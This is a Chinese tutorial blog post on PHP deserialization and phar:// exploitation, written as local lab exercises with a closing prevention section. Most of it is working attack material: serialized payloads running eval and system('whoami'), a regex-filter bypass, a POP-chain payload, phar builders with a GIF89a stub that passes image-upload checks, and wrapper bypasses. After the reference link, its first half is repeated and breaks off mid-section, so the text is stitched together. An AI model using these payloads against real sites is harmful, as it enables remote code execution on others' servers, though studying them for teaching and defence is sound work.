PHP反序列化漏洞从入门到深入8k图文介绍,以及phar伪协议的利用

文章参考:w肝了两天!PHP反序列化漏洞从入门到深入8k图文介绍,以及phar伪协议的利用

前言

本文内容主要分为三个部分:原理详解、漏洞练习和防御方法。这是一篇针对PHP反序列化入门者的手把手教学文章特别适合刚接触PHP反序列化的师傅们。本文的特色在于对PHP反序列化原理进行了深入细致的分析,并提供了一系列由简入深的PHP反序列化习题,配以详细的练习和分析讲解。

序列化介绍

序列化是指将变量转换为一种可保存或传输的字符串形式的过程;

而反序列化则是在需要的时候,将这个字符串重新转换回原来的变量形式以供使用。

这两个过程相辅相成,为数据的存储和传输提供了极大的便利,同时也使得程序更加易于维护和扩展。

例子

将一大段对象序列化压缩成字符串.然后根据要求反序列化重新构造对象.(②是序列化的格式,下文详解)

class Person
{public $name; //public 修饰的这个成员在任何地方都可以使用private $age; //private 修饰的成员只能被 其所在类 的其他成员访问protected $sex; //protected 修饰的类成员 所在类的子类以及同一个包内的其他类 访问function sayName(){echo $this->name;}function sayAge(){echo $this->age;}function saySex(){echo $this->sex;}function __construct($name, $age,$sex){$this->name = $name;$this->age = $age;$this->sex = $sex;//protected修饰的sex}
}
$person=new Person('张三',20,'boy');
$person->sayName();//张三
$person->sayAge();//20
$person->saySex();//boy
echo '</br>';
// 序列化:serialize将php的遍历变量(数组、对象等)转化成一个 可以存储或传输的字符串 表示的函数。即---对象压缩成字符串
echo serialize($person);//O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";}
echo "</br>";
// 因为我们需要使用url进行测试,所以将这个转化后的字符串进行url编码,便于之后进行反序列化测试
echo urlencode(serialize($person));//O%3A6%3A%22Person%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22%E5%BC%A0%E4%B8%89%22%3Bs%3A11%3A%22%00Person%00age%22%3Bi%3A20%3Bs%3A6%3A%22%00%2A%00sex%22%3Bs%3A3%3A%22boy%22%3B%7D

get.php进行反序列化,将上面进行url编码的内容传到这个php,进行反序列化(将字符串还原成对象)

<?php
$html =unserialize($_GET['html']);
echo $html;

image-20240726173131108

image-20240726173131108

在上面的代码中我们可以看到序列化之后的内容为,将其进行分段详细解析

O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";}O : 自定义对象 object
6  : 类名的长度
:3 : 3个成员属性
s:4 : 你的成员属性名  长度为4 ,并且是一个字符串   string
s:3 : 刚刚那个成员属性对应的值 是string类型,并且长度是3位
s:11:"Personage" : 因为该属性是私有属性,所以需要在属性名前加上类名,方便我们进行反序列化的时候的识别.
i:20 :  20是age的属性值 , i是代表  integer类型s:6:"*sex";  sex这个属性是一个受保护的属性,特征就是 * 号s:3:"boy : 代表 string类型,属性值长度为3位  boy对应是  sex的属性值

private和 protected详解

//protected举例
class Animal
{protected $name;//构造函数,即当你创建一个新对象时,这个方法会自动被调用,用于被初始化对象。//构造函数可以接收参数,这些参数可以用来设置对象的初始状态。public function __construct($name){$this->name = $name;}protected function getName(){echo $this->name ." 小羽网安";}
}
///extends继承
class Dog extends Animal
{public function __construct($name){//调用父类的构造函数parent::__construct($name);}
//    public function introduce()
//    {
//        //调用父类的eat方法
//        parent::getName();
//        echo $this->name ." Dog类别的输出";
//    }public function getDog(){$this->getName();//调用继承类的getName方法echo '<br/>继承之后,继续调用的函数';}
}$myDog=new Dog("<br/>hellow");
$myDog->getDog(); //hellow 小羽网安<br/>继承之后,继续调用的函数
$myName=new Animal("游不动的小鱼丶");
//$myName->getName();//无法从外部访问这个成员,Fatal error: Uncaught Error: Call to protected method Animal::getName() from context 
//$myDog->getName();//无法从继承之后的类访问这个成员Fatal error: Uncaught Error: Call to protected method Animal::getName() from context
?>

PHP在序列化含有private和protected权限的变量时,会在变量名前添加ASCII码为0的不可见字符,表现为%00类名%00属性名%00*%00属性名。这些字符在显示和输出时可能不易察觉,甚至导致数据截断。为了清晰查看,可将序列化后的字符串进行urlencode编码后打印输出。

image-20240728172222477

image-20240728172222477

案例,直接将我们url编码的结果复制到解码工具,会发现每个protected、private属性前面会有个这个符号就是%00

image-20240728172842010

image-20240728172842010

PHP常见的魔术方法

__construct

用于在创建对象时自动调用,主要用于初始化对象。

<?php  
//声明一个类为Person
class Person {  public $name;  public $age;  // 构造函数  public function __construct($name, $age) {  $this->name = $name;  $this->age = $age;  }  // 一个普通的方法,用于显示信息  public function displayInfo() {  echo "Name: " . $this->name . ", Age: " . $this->age . "<br>";  }  
}  // 创建Person对象  
$person1 = new Person("John", 30);  
$person2 = new Person("Jane", 25);  // 调用方法显示信息  
$person1->displayInfo(); // 打印:Name: John, Age: 30  
$person2->displayInfo(); // 打印:Name: Jane, Age: 25  
?>

__destruct

它在对象被销毁时自动调用。这通常发生在对象的所有引用都被删除或者脚本执行结束时。__destruct() 方法常用于执行一些清理操作,比如关闭文件、释放资源等。

<?php  
class Person {  public $name;  // 构造函数  public function __construct($name) {  $this->name = $name;  echo "构造函数被调用,对象 {$this->name} 被创建。<br>";  }  // 析构函数  public function __destruct() {  echo "析构函数被调用,对象 {$this->name} 被销毁。<br>";  }  
}  // 创建Person对象  
$person = new Person("John");  // 脚本结束时,$person 对象会被自动销毁,此时会调用 __destruct() 方法  
?>

__toString

它允许一个类对象在被当作字符串处理时自动调用该方法,并返回该对象的一个字符串表示。这通常用于调试目的,或者当你需要将对象以字符串形式输出时。

<?php  
class Person {  public $name;  public $age;  // 构造函数  public function __construct($name, $age) {  $this->name = $name;  $this->age = $age;  }  // __toString() 方法  public function __toString() {  return "Person Object (Name: {$this->name}, Age: {$this->age})";  }  
}  // 创建Person对象  
$person = new Person("John", 30);  // 当对象被当作字符串处理时,__toString() 方法会被自动调用  
echo $person; // 打印:Person Object (Name: John, Age: 30)  
?>

__invoke

允许一个对象像函数那样被调用。当你尝试以调用函数的方式调用一个对象时(例如,$obj()),__invoke() 方法会被自动调用。

<?php  
class Greeter {  public $name;  // 构造函数  public function __construct($name) {  $this->name = $name;  }  // __invoke() 方法  public function __invoke() {  echo "Hello, {$this->name}!<br>";  }  
}  // 创建Greeter对象  
$greeter = new Greeter("World");  // 当对象被当作函数调用时,__invoke() 方法会被自动调用  
$greeter(); // 打印:Hello, World!  
?>

__call

它在尝试调用一个对象中不可访问的方法时被调用。

class MyClass {  private function myPrivateMethod($param1, $param2) {  echo "调用了一个私有方法:$param1, $param2\n";  }  public function __call($name, $arguments) {  if ($name === 'myPrivateMethod') {  return $this->myPrivateMethod($arguments[0], $arguments[1]);  } else {  echo "尝试调用的方法 '$name' 不存在。\n";  }  }  
}  $obj = new MyClass();  
$obj->myPrivateMethod('Hello', 'World'); // 调用私有方法  
$obj->myNonExistingMethod('Foo', 'Bar'); // 尝试调用不存在的方法

__sleep

它在对象被序列化时调用。(序列化:将一个对象转化为字符串。)

class MyClass {  public $prop1 = 'value1';  public $prop2 = 'value2';  private $prop3 = 'value3';  public function __sleep() {  // 返回不需要被序列化的属性名称数组  return array('prop2');  }  
}  $obj = new MyClass();  
$serialized = serialize($obj);  
echo $serialized; // 输出序列化后的字符串,其中不包含 $prop2

一.初步认识

写入反序列化文件index.php,通过传参让页面出现phpinfo页面

class one
{var $b="phpinfo();";function action(){eval($this->b);//eval:用于执行一段php代码字符串。}
}$a=unserialize($_GET['obj']);//将获取到的参数进行反序列化
$a->action();//执行这个方法

分析payload

O:3:"one":1:{s:1:"b";s:10:"phpinfo();";}

image-20240728203541947

image-20240728203541947

新建一个序列化test.php文件用于存放预构造的代码

<?phpclass one
{var $b='eval($_GET[2]);';function action(){eval($this->b);}
}$a=new one();
$a->action();
echo serialize($a);//实例化一个对象,将其序列化的内容打印出来

得到其序列化的结果,在我们的页面最下面

image-20240728205317031

image-20240728205317031

我们将他反序列化-->index.php进行传参

image-20240728205358614

image-20240728205358614

很好,能得到我们的结果,如果你疑问是不是index.php代码中包含了phpinfo(),所以他才能执行

image-20240728210018019

image-20240728210018019

emmm,完全不需要顾虑,我们来验证这个结论,把这个自定义代码删掉

image-20240728210032604

image-20240728210032604

嗯,很好,验证了我们的结论,这个反序列化漏洞,是可以进行任意代码执行

image-20240728210055297

image-20240728210055297

注意前面那个s,代表着你执行的代码字符串长度,大于或者小于这个长度,都是执行不了的

image-20240728210618064

image-20240728210618064

当然也可以使用这种payload

http://127.0.0.1/index.php?obj=O:3:"one":1:{s:1:"b";s:15:"eval($_GET[2]);";}&2=echo system('whoami');

image-20240728213158471

image-20240728213158471

在考虑完过滤等先决条件后,找到可控点,构造成我们想要执行的代码,将其反序列化利用。这个过程不要去看原来代码想要执行的,关键是去构造你要执行的

二.简单利用

简单利用反序列化index.php代码参考:

<?php
class one
{var $b = 'echo 123;';function action(){eval($this->b);}
}
class Student
{var $a;function __construct(){$this->a = new one();}function __destruct(){$this->a->action();}
}
unserialize($_GET[1]);

新建一个test.php用于获取序列化结果,获取我们的参数

<?phpclass one
{var $b = 'echo 123;';function action(){eval($this->b);}
}class Student
{var $a;//构造函数,对象被实例化即new的时候调用function __construct(){$this->a = new one();}//折构函数:被销毁时候调用function __destruct(){$this->a->action();}
}
$one = new Student();
echo serialize($one);//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:9:"echo 123;";}}

这时候再回到我们index.php

image-20240729094454902

image-20240729094454902

可以正常执行代码,那么我们在test.php修改我们的payload为执行系统命令whoami,获取反序列化的攻击载荷

<?phpclass one
{var $b = 'system("whoami");';function action(){eval($this->b);}
}class Student
{var $a;//构造函数,对象被实例化即new的时候调用function __construct(){$this->a = new one();}//折构函数:被销毁时候调用function __destruct(){$this->a->action();}
}
$one = new Student();
echo serialize($one);//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:17:"system("whoami");";}}

复制这个结果,使用具有反序列化漏洞的index.php进行传参

image-20240729094904495

image-20240729094904495

三、相关绕过

任务:访问当前目录的1.txt文件

构造环境

创建一个1.txt文件,输入任意内容,通过反序列化读取文件内容。

image-20240729100332041

image-20240729100332041

习题代码

<?php
@error_reporting(1);
echo $_GET['data'];
class baby
{public $file;function __toString(){if(isset($this->file)){$filename = "./{$this->file}";if (file_get_contents($filename)){return file_get_contents($filename);}}}
}
if (isset($_GET['data']))
{$data = $_GET['data'];preg_match('/[oc]:\d+:/i',$data,$matches);if(count($matches)){die('Hacker!');}else{$good = unserialize($data);echo $good;}
}
else
{highlight_file("./test4.php");
}
?>

这段PHP代码包含两部分:上部分定义了一个baby类,包含一个file属性和一个__toString魔术方法,用于读取并返回文件内容。下部分接收GET请求中的data参数,进行过滤后反序列化,并打印结果。理解这两部分的关系,特别是类的序列化形式,对于执行预期操作至关重要。

既然上半部分定义了类,下半部分只是过滤的代码,可以将上半部分抽离出来,查看序列化的结果,以便于反序列化

image-20240729102904137

image-20240729102904137

同上面一样构造序列化test.php

<?php@error_reporting(1);
echo $_GET['data'];
class baby
{//构造你要读取的文件public $file="1.txt";function __toString(){if(isset($this->file)){$filename = "./{$this->file}";if (file_get_contents($filename)){return file_get_contents($filename);}}}
}
echo serialize(new baby());

image-20240729103212871

image-20240729103212871

.过滤:代码块中通过正则,不区分大小写的o,c字符,去匹配字符的冒号后的数字来做校验

image-20240729103422559

image-20240729103422559

可以通过+4等价代替 4 从而绕过检测(+ url编码为%2b)

payload  O:%2b4:"baby":1:{s:4:"file";s:5:"1.txt";}

image-20240729122741458

image-20240729122741458

四、开始上手

任务:读取 flag.游不动的鱼宝丶

class A
{public $mod1;public $mod2;//对象销毁之后调用public function __destruct(){$this->mod1->test1();}
}class B
{public $mod1;public $mod2;public function test1(){$this->mod1->test2();}
}class C
{public $mod1;public $mod2;//__call尝试调用一个对象中不可访问的方法时被调用。public function __call($test2, $arr){$s1 = $this->mod1;$s1();}
}class D
{public $mod1;public $mod2;//__invoke允许一个对象像函数那样被调用public function __invoke(){$this->mod2 = "字符串拼接" . $this->mod1;}
}class E
{public $str1;public $str2;public function __toString(){$this->str1->get_flag();return "1";}
}class GetFlag
{public function get_flag(){echo "flag:" . "游不动的鱼宝丶";}
}$a = $_GET['obj'];
unserialize($a);

我们来分析代码,E类中的魔术方法调用了GetFlag类中的方法

image-20240729141440997

image-20240729141440997

这里的字符串拼接,调用了**__toString**魔术方法

image-20240729141613497

image-20240729141613497

C类中的成员以函数的形式调用了自己的成员

image-20240729142002670

image-20240729142002670

B类中的函数调用了C类中的$test2成员

image-20240729142122451

image-20240729142122451

最后销毁

image-20240729142306025

image-20240729142306025

代码构造: 通过 __construct()魔术方法,创建对象的时候自动调用 / 即在每一个类中都添加一个构造方法

<?php
class A
{public $mod1;public $mod2;//通过 __construct()魔术方法,创建对象的时候自动调用public function __construct(){$this->mod1 = new  B();}public function __destruct(){$this->mod1->test1();}
}
class B
{public $mod1;public $mod2;public function __construct(){$this->mod1 = new  C();}public function test1(){$this->mod1->test2();}
}
class C
{public $mod1;public $mod2;public function __construct(){$this->mod1 = new  D();}public function __call($test2, $arr){$s1 = $this->mod1;$s1();}
}
class D
{public $mod1;public $mod2;public function __construct(){$this->mod1 = new  E();}public function __invoke(){$this->mod2 = "字符串拼接" . $this->mod1;}
}
class E
{public $str1;public $str2;public function __construct(){$this->str1 = new  GetFlag();}public function __toString(){$this->str1->get_flag();return "1";}
}
class GetFlag
{public function get_flag(){echo "flag:" . "游不动的鱼宝丶";}
}
$c = new A;
echo serialize($c);//O:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

序列化输出结果

image-20240729143728469

image-20240729143728469

得到payload

O:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

使用具有该反序列化漏洞的index.php

image-20240729144030410

image-20240729144030410

总结:从习题中不难看出, 漏洞的主要的原因就是在反序列化的过程中,通过我们的恶意篡改会产生魔法函数绕过,字符逃逸,远程命令执行等漏洞。

Phar文件和Phar协议

前言

在PHP应用中,随着代码安全性的提升,直接利用unserialize()函数的反序列化漏洞变得越来越困难。为了绕过这一限制,攻击者开始利用PHAR文件存储用户自定义元数据为序列化的特性,为反序列化漏洞的攻击提供了新的途径。即使在没有直接的unserialize()调用或缺乏传参接口的情况下,攻击者仍可以通过可控的文件系统函数,配合phar://伪协议,实现不依赖unserialize()的直接反序列化操作。攻击者只需构造包含恶意代码的PHAR文件并上传到目标网站,然后通过特定方式触发反序列化,即可达到攻击目的。

phar文件详解

Phar文件是一种PHP归档格式,用于将多个PHP代码文件及其他资源(如图像、样式表等)打包成一个文件,便于应用程序和库的分发。其独特之处在于,它会以序列化的形式存储用户自定义的meta-data。当文件操作函数处理phar文件时,会自动触发meta-data的反序列化过程。

phar文件分为四层

  1. Stub(存根):Phar文件的文件头,必须以<?php xxx __HALT_COMPILER(); ?>结尾,其中xxx可以是自定义的任何字符,如果不定义则默认为<?php __HALT_COMPILER(); ?>

  2. Manifest(清单):包含了压缩文件的权限、属性以及序列化形式存储的用户自定义元数据等信息。在利用Phar反序列化漏洞时,Manifest中的序列化字符串是攻击的主要目标。

  3. Contents(内容):包含了实际的文件内容,比如PHP脚本、图片、样式表等应用程序正常运行所需的其他文件。这些文件在Phar文件中被压缩存储,以节省空间并便于分发。

  4. Signature(签名)(可选):验证Phar文件的完整性和真实性。

生成phar文件
1.准备环境

1.1Phar需要 PHP >= 5.2 1.2在php.ini中将phar.readonly设为Off(注意去掉前面的分号)

php配置

image-20240729160528265

image-20240729160528265

具体index.php代码,phar文件生成

<?php
class AnyClass{var $output = 'phpinfo();';function __destruct(){eval($this -> output);}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new AnyClass();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

访问index.php生成phar文件

image-20240729174413855

image-20240729174413855

查看目录

image-20240729174440869

image-20240729174440869

这里就有了序列化之后的结果

image-20240729174654715

image-20240729174654715

Tips : phar.phar文件是在本地生成后上传到目标网站的。配合phar协议和相关函数,它可以构成反序列化攻击的杀伤链。因此,前置的PHP环境配置操作不会影响后续的攻击实施。利用的关键在于:

  1. phar文件必须能上传到服务器;
  2. 存在可用的魔术方法作为攻击的“跳板”;
  3. 文件操作函数的参数可控,且特殊字符如./../phar等未被过滤。

php大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,知道创宇测试后发布的受影响的函数如下 :

文件操作函数

image-20240729193959585

image-20240729193959585

绕过技巧

1.环境限制了phar不能出现在前面的字符里
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar
2.验证文件格式
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
3、绕过上传后缀检查

即使将文件后缀改为gif也不影响phar的文件最终执行

image-20240729221202538

image-20240729221202538

执行index.php

image-20240729221130203

image-20240729221130203

一.初步了解

任务:目标1.php界面任务执行phpinfo()

1、index.php代码(具有phar协议反序列化漏洞的代码)

<?php
class Files
{var $b = 'echo ok;';function __destruct(){eval($this->b);}
}
//$file = '../'.$_GET['file'];
is_dir('phar://phar.phar/test.txt');

2、test.php攻击代码

<?php
class Files{var $b = 'phpinfo();';function __destruct(){eval($this -> b);}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,验证文件格式
$o = new Files();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

image-20240729192637278

image-20240729192637278

这里我们执行我们的攻击代码,生成phar.phar文件

image-20240729192802963

image-20240729192802963

可以查看phar.phar文件(.metadata.bin放置着序列化的恶意代码)

image-20240729192839186

image-20240729192839186

生成成功后我们就可以利用这个具有phar协议反序列化漏洞index.php访问了,执行成功

image-20240729192946420

image-20240729192946420

看不出效果?那么这样呢

image-20240729193311833

image-20240729193311833

访问test.php,为空白界面

image-20240729193131831

image-20240729193131831

查看文件

image-20240729193342021

image-20240729193342021

对payload的obj参数进行传参

image-20240729193401008

image-20240729193401008

执行系统命令

image-20240729193457866

image-20240729193457866

二、进一步了解

通过phar协议读取Destruct called

目标文件

class TestObject
{public function __destruct(){echo 'Destruct called';}
}$filename = $_GET['cmd'];
file_get_contents($filename);

image-20240729222723132

image-20240729222723132

分析:存在可控点以及文件操作函数file_get_contents,需要通过phar协议的反序列化功能,配合file_get_contents函数,执行phar.phar文件内序列化后的代码

1、同理,构造phar.phar文件,将恶意代码序列化存入phar.phar的.metadata.bin文件中

phar.phar文件生成

image-20240729233055730

image-20240729233055730

成功利用phar协议,执行了具有phar协议反序列化漏洞的php文件,并成功获取到了魔术方法中的内容

image-20240729233142057

image-20240729233142057

扩展:练习

具体代码

class Test
{public $num = 2;public function __destruct(){if ($this->num === 1) {echo 'flag{123}';}}
}
echo file_get_contents($_GET['data']);

image-20240729233627801

image-20240729233627801

(关键在于构建恶意的代码,关注点在num=1)

image-20240729233658296

image-20240729233658296

再深入

任务:通过phar协议执行phpinfo

详细:通过upload_file.php,index.php,page.php文件模拟攻击目标,使用phar文件和phar协议执行反序列化,达到任意代码执行效果.

环境准备

1.www/目录(网站根目录)下放upload_file.php,index.php,page.php文件

2.www/目录(网站根目录)下新建upload_file文件夹

3.各个文件内容及解释

<?php
if (($_FILES["file"]["type"] == "image/gif") && (substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.') + 1)) == 'gif') {echo "Upload: " . $_FILES["file"]["name"];echo "Type: " . $_FILES["file"]["type"];echo "Temp file: " . $_FILES["file"]["tmp_name"];if (file_exists("upload_file/" . $_FILES["file"]["name"])) {echo $_FILES["file"]["name"] . " already exists. ";} else {move_uploaded_file($_FILES["file"]["tmp_name"],"upload_file/" . $_FILES["file"]["name"]);echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];}
} else {echo "Invalid file,you can only upload gif";
}

upload_file.php:内容做了一个上传文件后缀的限制

upload_file.php

image-20240729234247144

image-20240729234247144

index.php 提供一个上传界面

<body>
<form action="/upload_file.php" method="post" enctype="multipart/form-data"><input type="file" name="file" /><input type="submit" name="Upload" />
</form>
</body>

image-20240730001201869

image-20240730001201869

page.php 目标可控点

<?php
$filename=$_GET['filename'];
class AnyClass{var $output = 'echo "ok";';function __destruct(){eval($this -> output);}
}
file_exists($filename);//用于检查文件或目录是否存在

page.php

image-20240729234411782

image-20240729234411782

分析

1.目标存在可控点以及文件操作函数

page.php分析

image-20240729234740648

image-20240729234740648

受影响的文件操作函数表

image-20240729234950662

image-20240729234950662

2.只有upload_file.php的对上传文件的后缀类型进行限制,但是!我们phar文件也可以使用gif后缀!文章中有提到,可以仔细看一看。

image-20240729235300227

image-20240729235300227

所以这题我们就可以使用phar协议进行漏洞复现

开始解题

1、构造上传文件phar,test.php

<?php
class AnyClass{var $output = 'phpinfo();';function __destruct(){eval($this -> output);}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,验证文件格式
$o = new AnyClass();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

image-20240729235720606

image-20240729235720606

检查我们的payload

image-20240730001523626

image-20240730001523626

改文件名

image-20240729235814518

image-20240729235814518

上传之前,新建一个upload_file文件夹

image-20240730001326080

image-20240730001326080

因为这里测试的文件上传代码保存在这个文件夹中

image-20240730001421961

image-20240730001421961

开始上传

image-20240729235930816

image-20240729235930816

上传成功

image-20240730001244615

image-20240730001244615

执行我们的payload漂亮!

image-20240730001659348

image-20240730001659348

反序列化漏洞预防

使用安全的序列化/反序列化库

  • 选择经过安全审计的、维护良好的序列化库。
  • 避免使用已知存在安全漏洞的库。

限制反序列化的类型

  • 只允许反序列化预定义、可信的类。
  • 使用类型安全的序列化机制,如Java中的ObjectOutputStreamObjectInputStream时,可以使用enableSubstitution方法来限制反序列化的类。

数据完整性验证

  • 在序列化和反序列化过程中,使用数字签名或消息认证码(MAC)来验证数据的完整性。
  • 确保序列化数据在传输过程中未被篡改。

定期审计和测试

  • 定期对应用程序进行安全审计,以识别潜在的反序列化漏洞。
  • 使用自动化工具和手动测试方法来检测和利用反序列化漏洞。

原文有一定缺陷,在本文已修复,并且本文也比较通俗易懂

文章参考:https://mp.weixin.qq.com/s/98SP8M-OjkvLw4lPi3ojvQ

肝了两天!PHP反序列化漏洞从入门到深入8k图文介绍,以及phar伪协议的利用

PHP反序列化入门手把手详解

前言

搜索框传播样式-白色版

本文内容主要分为三个部分:原理详解、漏洞练习和防御方法。这是一篇针对PHP反序列化入门者的手把手教学文章特别适合刚接触PHP反序列化的师傅们。本文的特色在于对PHP反序列化原理进行了深入细致的分析,并提供了一系列由简入深的PHP反序列化习题,配以详细的练习和分析讲解。

序列化介绍

序列化是指将变量转换为一种可保存或传输的字符串形式的过程;

而反序列化则是在需要的时候,将这个字符串重新转换回原来的变量形式以供使用。

这两个过程相辅相成,为数据的存储和传输提供了极大的便利,同时也使得程序更加易于维护和扩展。

例子

将一大段对象序列化压缩成字符串.然后根据要求反序列化重新构造对象.(②是序列化的格式,下文详解)

class Person
{public $name; //public 修饰的这个成员在任何地方都可以使用private $age; //private 修饰的成员只能被 其所在类 的其他成员访问protected $sex; //protected 修饰的类成员 所在类的子类以及同一个包内的其他类 访问
​function sayName(){echo $this->name;}function sayAge(){echo $this->age;}
​function saySex(){echo $this->sex;}
​function __construct($name, $age,$sex){$this->name = $name;$this->age = $age;$this->sex = $sex;//protected修饰的sex}
}
$person=new Person('张三',20,'boy');
$person->sayName();//张三
$person->sayAge();//20
$person->saySex();//boy
echo '</br>';
// 序列化:serialize将php的遍历变量(数组、对象等)转化成一个 可以存储或传输的字符串 表示的函数。即---对象压缩成字符串
echo serialize($person);//O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";}
echo "</br>";
// 因为我们需要使用url进行测试,所以将这个转化后的字符串进行url编码,便于之后进行反序列化测试
echo urlencode(serialize($person));//O%3A6%3A%22Person%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22%E5%BC%A0%E4%B8%89%22%3Bs%3A11%3A%22%00Person%00age%22%3Bi%3A20%3Bs%3A6%3A%22%00%2A%00sex%22%3Bs%3A3%3A%22boy%22%3B%7D
​

get.php进行反序列化,将上面进行url编码的内容传到这个php,进行反序列化(将字符串还原成对象)

<?php
$html =unserialize($_GET['html']);
echo $html;

image-20240726173131108

在上面的代码中我们可以看到序列化之后的内容为,将其进行分段详细解析

O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";}
​
O : 自定义对象 object
6  : 类名的长度
:3 : 3个成员属性
s:4 : 你的成员属性名  长度为4 ,并且是一个字符串   string
s:3 : 刚刚那个成员属性对应的值 是string类型,并且长度是3位
s:11:"Personage" : 因为该属性是私有属性,所以需要在属性名前加上类名,方便我们进行反序列化的时候的识别.
i:20 :  20是age的属性值 , i是代表  integer类型
​
s:6:"*sex";  sex这个属性是一个受保护的属性,特征就是 * 号
​
s:3:"boy : 代表 string类型,属性值长度为3位  boy对应是  sex的属性值

private和 protected详解

//protected举例
class Animal
{protected $name;//构造函数,即当你创建一个新对象时,这个方法会自动被调用,用于被初始化对象。//构造函数可以接收参数,这些参数可以用来设置对象的初始状态。public function __construct($name){$this->name = $name;}
​protected function getName(){echo $this->name ." 小羽网安";}
}
///extends继承
class Dog extends Animal
{public function __construct($name){//调用父类的构造函数parent::__construct($name);}
//    public function introduce()
//    {
//        //调用父类的eat方法
//        parent::getName();
//        echo $this->name ." Dog类别的输出";
//    }public function getDog(){$this->getName();//调用继承类的getName方法echo '<br/>继承之后,继续调用的函数';
​}
}
​
$myDog=new Dog("<br/>hellow");
$myDog->getDog(); //hellow 小羽网安<br/>继承之后,继续调用的函数
$myName=new Animal("游不动的小鱼丶");
//$myName->getName();//无法从外部访问这个成员,Fatal error: Uncaught Error: Call to protected method Animal::getName() from context 
//$myDog->getName();//无法从继承之后的类访问这个成员Fatal error: Uncaught Error: Call to protected method Animal::getName() from context
?>

PHP在序列化含有private和protected权限的变量时,会在变量名前添加ASCII码为0的不可见字符,表现为%00类名%00属性名%00*%00属性名。这些字符在显示和输出时可能不易察觉,甚至导致数据截断。为了清晰查看,可将序列化后的字符串进行urlencode编码后打印输出。

image-20240728172222477

案例,直接将我们url编码的结果复制到解码工具,会发现每个protected、private属性前面会有个这个符号就是%00

image-20240728172842010

PHP常见的魔术方法

__construct

用于在创建对象时自动调用,主要用于初始化对象。

<?php  
//声明一个类为Person
class Person {  public $name;  public $age;  // 构造函数  public function __construct($name, $age) {  $this->name = $name;  $this->age = $age;  }  // 一个普通的方法,用于显示信息  public function displayInfo() {  echo "Name: " . $this->name . ", Age: " . $this->age . "<br>";  }  
}  // 创建Person对象  
$person1 = new Person("John", 30);  
$person2 = new Person("Jane", 25);  // 调用方法显示信息  
$person1->displayInfo(); // 打印:Name: John, Age: 30  
$person2->displayInfo(); // 打印:Name: Jane, Age: 25  
?>

__destruct

它在对象被销毁时自动调用。这通常发生在对象的所有引用都被删除或者脚本执行结束时。__destruct() 方法常用于执行一些清理操作,比如关闭文件、释放资源等。

<?php  
class Person {  public $name;  // 构造函数  public function __construct($name) {  $this->name = $name;  echo "构造函数被调用,对象 {$this->name} 被创建。<br>";  }  // 析构函数  public function __destruct() {  echo "析构函数被调用,对象 {$this->name} 被销毁。<br>";  }  
}  // 创建Person对象  
$person = new Person("John");  // 脚本结束时,$person 对象会被自动销毁,此时会调用 __destruct() 方法  
?>

__toString

它允许一个类对象在被当作字符串处理时自动调用该方法,并返回该对象的一个字符串表示。这通常用于调试目的,或者当你需要将对象以字符串形式输出时。

<?php  
class Person {  public $name;  public $age;  // 构造函数  public function __construct($name, $age) {  $this->name = $name;  $this->age = $age;  }  // __toString() 方法  public function __toString() {  return "Person Object (Name: {$this->name}, Age: {$this->age})";  }  
}  // 创建Person对象  
$person = new Person("John", 30);  // 当对象被当作字符串处理时,__toString() 方法会被自动调用  
echo $person; // 打印:Person Object (Name: John, Age: 30)  
?>

__invoke

允许一个对象像函数那样被调用。当你尝试以调用函数的方式调用一个对象时(例如,$obj()),__invoke() 方法会被自动调用。

<?php  
class Greeter {  public $name;  // 构造函数  public function __construct($name) {  $this->name = $name;  }  // __invoke() 方法  public function __invoke() {  echo "Hello, {$this->name}!<br>";  }  
}  // 创建Greeter对象  
$greeter = new Greeter("World");  // 当对象被当作函数调用时,__invoke() 方法会被自动调用  
$greeter(); // 打印:Hello, World!  
?>

__call

它在尝试调用一个对象中不可访问的方法时被调用。

